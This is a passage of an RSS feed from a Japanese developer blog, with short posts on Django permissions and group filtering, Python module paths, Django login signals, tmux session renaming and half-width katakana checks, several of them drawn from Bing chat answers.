&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;@classmethod&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;def&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;choices&lt;/span&gt;(cls):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; auth_models&lt;span style="color:#f92672"&gt;.&lt;/span&gt;Permission&lt;span style="color:#f92672"&gt;.&lt;/span&gt;objects&lt;span style="color:#f92672"&gt;.&lt;/span&gt;annotate(
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; code&lt;span style="color:#f92672"&gt;=&lt;/span&gt;Concat(&lt;span style="color:#e6db74"&gt;&amp;#34;content_type__app_label&amp;#34;&lt;/span&gt;, Value(&lt;span style="color:#e6db74"&gt;&amp;#34;.&amp;#34;&lt;/span&gt;), &lt;span style="color:#e6db74"&gt;&amp;#34;codename&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; )&lt;span style="color:#f92672"&gt;.&lt;/span&gt;values_list(&lt;span style="color:#e6db74"&gt;&amp;#34;code&amp;#34;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#34;name&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;ただし、件数が大きいので, フィールドの&lt;code&gt;choices&lt;/code&gt; に使うのは現実的ではない&lt;/p&gt;</description></item><item><title>DRF: Userを所属グループで検索</title><link>https://hdknr.github.io/blogs/posts/2023/04/drf-user%E3%82%92%E6%89%80%E5%B1%9E%E3%82%B0%E3%83%AB%E3%83%BC%E3%83%97%E3%81%A7%E6%A4%9C%E7%B4%A2/</link><pubDate>Sun, 23 Apr 2023 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2023/04/drf-user%E3%82%92%E6%89%80%E5%B1%9E%E3%82%B0%E3%83%AB%E3%83%BC%E3%83%97%E3%81%A7%E6%A4%9C%E7%B4%A2/</guid><description>&lt;h2 id="django-filters-userを所属グループで検索"&gt;django-filters: Userを所属グループで検索&lt;/h2&gt;
&lt;p&gt;Django REST Frameworkとdjango-filterを使って、Userが所属しているGroupを複数指定して検索することはできます。&lt;/p&gt;
&lt;p&gt;以下のように、django-filter.FilterSetを継承したフィルタセットを定義し、filters.ModelMultipleChoiceFilterを使って、Userが所属しているGroupを複数指定することができます。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 6
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 7
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 8
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 9
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;10
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;11
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;12
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;13
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;from&lt;/span&gt; django.contrib.auth.models &lt;span style="color:#f92672"&gt;import&lt;/span&gt; User, Group
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;import&lt;/span&gt; django_filters
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;class&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;UserFilter&lt;/span&gt;(django_filters&lt;span style="color:#f92672"&gt;.&lt;/span&gt;FilterSet):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; groups &lt;span style="color:#f92672"&gt;=&lt;/span&gt; django_filters&lt;span style="color:#f92672"&gt;.&lt;/span&gt;ModelMultipleChoiceFilter(
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; field_name&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#39;groups__name&amp;#39;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; to_field_name&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#39;name&amp;#39;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; queryset&lt;span style="color:#f92672"&gt;=&lt;/span&gt;Group&lt;span style="color:#f92672"&gt;.&lt;/span&gt;objects&lt;span style="color:#f92672"&gt;.&lt;/span&gt;all()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; )
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;class&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;Meta&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; model &lt;span style="color:#f92672"&gt;=&lt;/span&gt; User
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; fields &lt;span style="color:#f92672"&gt;=&lt;/span&gt; [&lt;span style="color:#e6db74"&gt;&amp;#39;username&amp;#39;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#39;groups&amp;#39;&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;上記の例では、Userモデルに対するフィルタセットを定義しています。groupsフィールドには、django_filters.ModelMultipleChoiceFilterを使って、Userが所属しているGroupを複数指定することができます。field_nameには、Userモデルのgroups__nameフィールドを指定し、to_field_nameには、Groupモデルのnameフィールドを指定しています。&lt;/p&gt;</description></item><item><title>Python: モジュールの実装パス</title><link>https://hdknr.github.io/blogs/posts/2023/04/python-%E3%83%A2%E3%82%B8%E3%83%A5%E3%83%BC%E3%83%AB%E3%81%AE%E5%AE%9F%E8%A3%85%E3%83%91%E3%82%B9/</link><pubDate>Sun, 23 Apr 2023 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2023/04/python-%E3%83%A2%E3%82%B8%E3%83%A5%E3%83%BC%E3%83%AB%E3%81%AE%E5%AE%9F%E8%A3%85%E3%83%91%E3%82%B9/</guid><description>&lt;h2 id="モジュール名からファイルを見つける"&gt;モジュール名からファイルを見つける&lt;/h2&gt;
&lt;p&gt;Pythonのモジュール名が与えられた時、そのモジュールの実装されているファイルのパスを調べるには、以下のようにします。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;6
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;7
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;import&lt;/span&gt; importlib.util
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;def&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;get_module_path&lt;/span&gt;(module_name):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; spec &lt;span style="color:#f92672"&gt;=&lt;/span&gt; importlib&lt;span style="color:#f92672"&gt;.&lt;/span&gt;util&lt;span style="color:#f92672"&gt;.&lt;/span&gt;find_spec(module_name)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; spec &lt;span style="color:#f92672"&gt;is&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;None&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;None&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; spec&lt;span style="color:#f92672"&gt;.&lt;/span&gt;origin
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;上記のように、importlib.util.find_spec()関数を使って、モジュール名からspecオブジェクトを取得し、spec.origin属性を参照することで、モジュールが実装されているファイルのパスを取得することができます。&lt;/p&gt;
&lt;p&gt;ソース: Bing との会話 2023/4/23&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;(1) 6. モジュール — Python 3.11.3 ドキュメント. &lt;a href="https://docs.python.org/ja/3/tutorial/modules.html"&gt;https://docs.python.org/ja/3/tutorial/modules.html&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;(2) Pythonで独自モジュールのディレクトリパスを通す方法 &amp;hellip;. &lt;a href="https://lightgauge.net/language/python/add-module-path"&gt;https://lightgauge.net/language/python/add-module-path&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;(3) 【Python】パッケージ・モジュールの検索と import - Qiita. &lt;a href="https://qiita.com/shinsa82/items/5004a3ea63594f20190d"&gt;https://qiita.com/shinsa82/items/5004a3ea63594f20190d&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="djangoのアプリケーションの場合"&gt;Djangoのアプリケーションの場合&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;6
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;7
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;8
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-py" data-lang="py"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;from&lt;/span&gt; django.apps &lt;span style="color:#f92672"&gt;import&lt;/span&gt; apps
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;class&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;Def&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;@property&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;def&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;path&lt;/span&gt;(self):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; app_label &lt;span style="color:#f92672"&gt;=&lt;/span&gt; self&lt;span style="color:#f92672"&gt;.&lt;/span&gt;__module__&lt;span style="color:#f92672"&gt;.&lt;/span&gt;split(&lt;span style="color:#e6db74"&gt;&amp;#34;.&amp;#34;&lt;/span&gt;)[&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; conf &lt;span style="color:#f92672"&gt;=&lt;/span&gt; apps&lt;span style="color:#f92672"&gt;.&lt;/span&gt;get_app_config(app_label)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; conf&lt;span style="color:#f92672"&gt;.&lt;/span&gt;path
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;</description></item><item><title>Django: User ログインシグナル</title><link>https://hdknr.github.io/blogs/posts/2023/04/django-user-%E3%83%AD%E3%82%B0%E3%82%A4%E3%83%B3%E3%82%B7%E3%82%B0%E3%83%8A%E3%83%AB/</link><pubDate>Fri, 21 Apr 2023 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2023/04/django-user-%E3%83%AD%E3%82%B0%E3%82%A4%E3%83%B3%E3%82%B7%E3%82%B0%E3%83%8A%E3%83%AB/</guid><description>&lt;h2 id="django-user-ログイン"&gt;Django: User ログイン&lt;/h2&gt;
&lt;h2 id="ログインシグナル"&gt;ログインシグナル&lt;/h2&gt;
&lt;p&gt;Djangoでログインした時のイベントをシグナルで受け取る方法については、Djangoの公式ドキュメントに詳しく記載されています¹。以下のように、&lt;code&gt;django.contrib.auth.signals.user_logged_in&lt;/code&gt;シグナルを使用して、ログイン時に実行する関数を定義し、&lt;code&gt;receiver()&lt;/code&gt;デコレーターでシグナルを受信する関数を登録します。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;6
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;7
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;from&lt;/span&gt; django.contrib.auth.signals &lt;span style="color:#f92672"&gt;import&lt;/span&gt; user_logged_in
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;from&lt;/span&gt; django.dispatch &lt;span style="color:#f92672"&gt;import&lt;/span&gt; receiver
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;@receiver&lt;/span&gt;(user_logged_in)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;def&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;user_logged_in_callback&lt;/span&gt;(sender, request, user, &lt;span style="color:#f92672"&gt;**&lt;/span&gt;kwargs):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# ログイン時に実行する処理&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;pass&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;このように、シグナルを使用することで、ログイン時に任意の処理を実行することができます。&lt;/p&gt;
&lt;p&gt;ソース: Bing との会話 2023/4/21&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;(1) 「超簡単」Djangoでログインページの実装 - Qiita. &lt;a href="https://qiita.com/Yuji-Sakata0110/items/3722fa651e02eafc4d01"&gt;https://qiita.com/Yuji-Sakata0110/items/3722fa651e02eafc4d01&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;(2) 【Django】ログイン・ログアウト機能の実装 - Qiita. &lt;a href="https://qiita.com/onishi_820/items/c69ebb6a4e34da0f34d4"&gt;https://qiita.com/onishi_820/items/c69ebb6a4e34da0f34d4&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;(3) Django パスワード試行回数ロックとランダムかつ有効期限付き &amp;hellip;. &lt;a href="https://qiita.com/startours777/items/5b1fc415e047a2044129"&gt;https://qiita.com/startours777/items/5b1fc415e047a2044129&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>tmux: セッション名</title><link>https://hdknr.github.io/blogs/posts/2023/04/tmux-%E3%82%BB%E3%83%83%E3%82%B7%E3%83%A7%E3%83%B3%E5%90%8D/</link><pubDate>Wed, 19 Apr 2023 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2023/04/tmux-%E3%82%BB%E3%83%83%E3%82%B7%E3%83%A7%E3%83%B3%E5%90%8D/</guid><description>&lt;h1 id="tmux-セッション名"&gt;tmux セッション名&lt;/h1&gt;
&lt;h2 id="tmuxで現在のセッション名を変更するにはどうしたらいいでしょうか"&gt;&lt;code&gt;tmuxで現在のセッション名を変更するにはどうしたらいいでしょうか？&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;tmuxで現在のセッション名を変更するには、以下の方法があります。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;セッションを作成する時に &lt;code&gt;tmux new-session -s &amp;lt;name&amp;gt;&lt;/code&gt; と指定する²⁴。&lt;/li&gt;
&lt;li&gt;アタッチしている状態で &lt;code&gt;C-b + $&lt;/code&gt; または、 &lt;code&gt;:rename-session &amp;lt;name&amp;gt;&lt;/code&gt; で変更する²⁴。&lt;/li&gt;
&lt;li&gt;アタッチしてない状態で &lt;code&gt;tmux rename -t &amp;lt;old-name&amp;gt; &amp;lt;new-name&amp;gt;&lt;/code&gt; でも可能です²⁴。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;ソース: Bing との会話 2023/4/19&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;(1) tmuxの基本的な使い方とコマンドのまとめ - TASK NOTES. &lt;a href="https://www.task-notes.com/entry/20150711/1436583600"&gt;https://www.task-notes.com/entry/20150711/1436583600&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;(2) tmuxでよく使うコマンド - Qiita. &lt;a href="https://qiita.com/suisuina/items/fb7cf7590595d62957fd"&gt;https://qiita.com/suisuina/items/fb7cf7590595d62957fd&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;(3) tmuxでよく使うコマンド - Qiita. &lt;a href="https://bing.com/search?q=tmux+%e3%82%bb%e3%83%83%e3%82%b7%e3%83%a7%e3%83%b3%e5%90%8d+%e5%a4%89%e6%9b%b4"&gt;https://bing.com/search?q=tmux+%e3%82%bb%e3%83%83%e3%82%b7%e3%83%a7%e3%83%b3%e5%90%8d+%e5%a4%89%e6%9b%b4&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;(4) tmuxを使いこなそう（ウインドウ、ペイン、セッション、ア &amp;hellip;. &lt;a href="https://qiita.com/shoma2da/items/2e68c1e59938eb0c2f83"&gt;https://qiita.com/shoma2da/items/2e68c1e59938eb0c2f83&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;(5) tmuxでセッションの名前を変更するにはどうすればよいですか？. &lt;a href="https://qastack.jp/superuser/428016/how-do-i-rename-a-session-in-tmux"&gt;https://qastack.jp/superuser/428016/how-do-i-rename-a-session-in-tmux&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>半角カナ文字</title><link>https://hdknr.github.io/blogs/posts/2023/04/%E5%8D%8A%E8%A7%92%E3%82%AB%E3%83%8A%E6%96%87%E5%AD%97/</link><pubDate>Tue, 18 Apr 2023 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2023/04/%E5%8D%8A%E8%A7%92%E3%82%AB%E3%83%8A%E6%96%87%E5%AD%97/</guid><description>&lt;h2 id="半角カナ文字"&gt;半角カナ文字&lt;/h2&gt;
&lt;p&gt;Pythonで半角カナ文字かどうかを判定するには、正規表現を使う方法があります。⁴⁶&lt;/p&gt;
&lt;p&gt;例えば、次のような関数を定義して、文字列が半角カナだけで構成されているかどうかをチェックできます。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;4
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
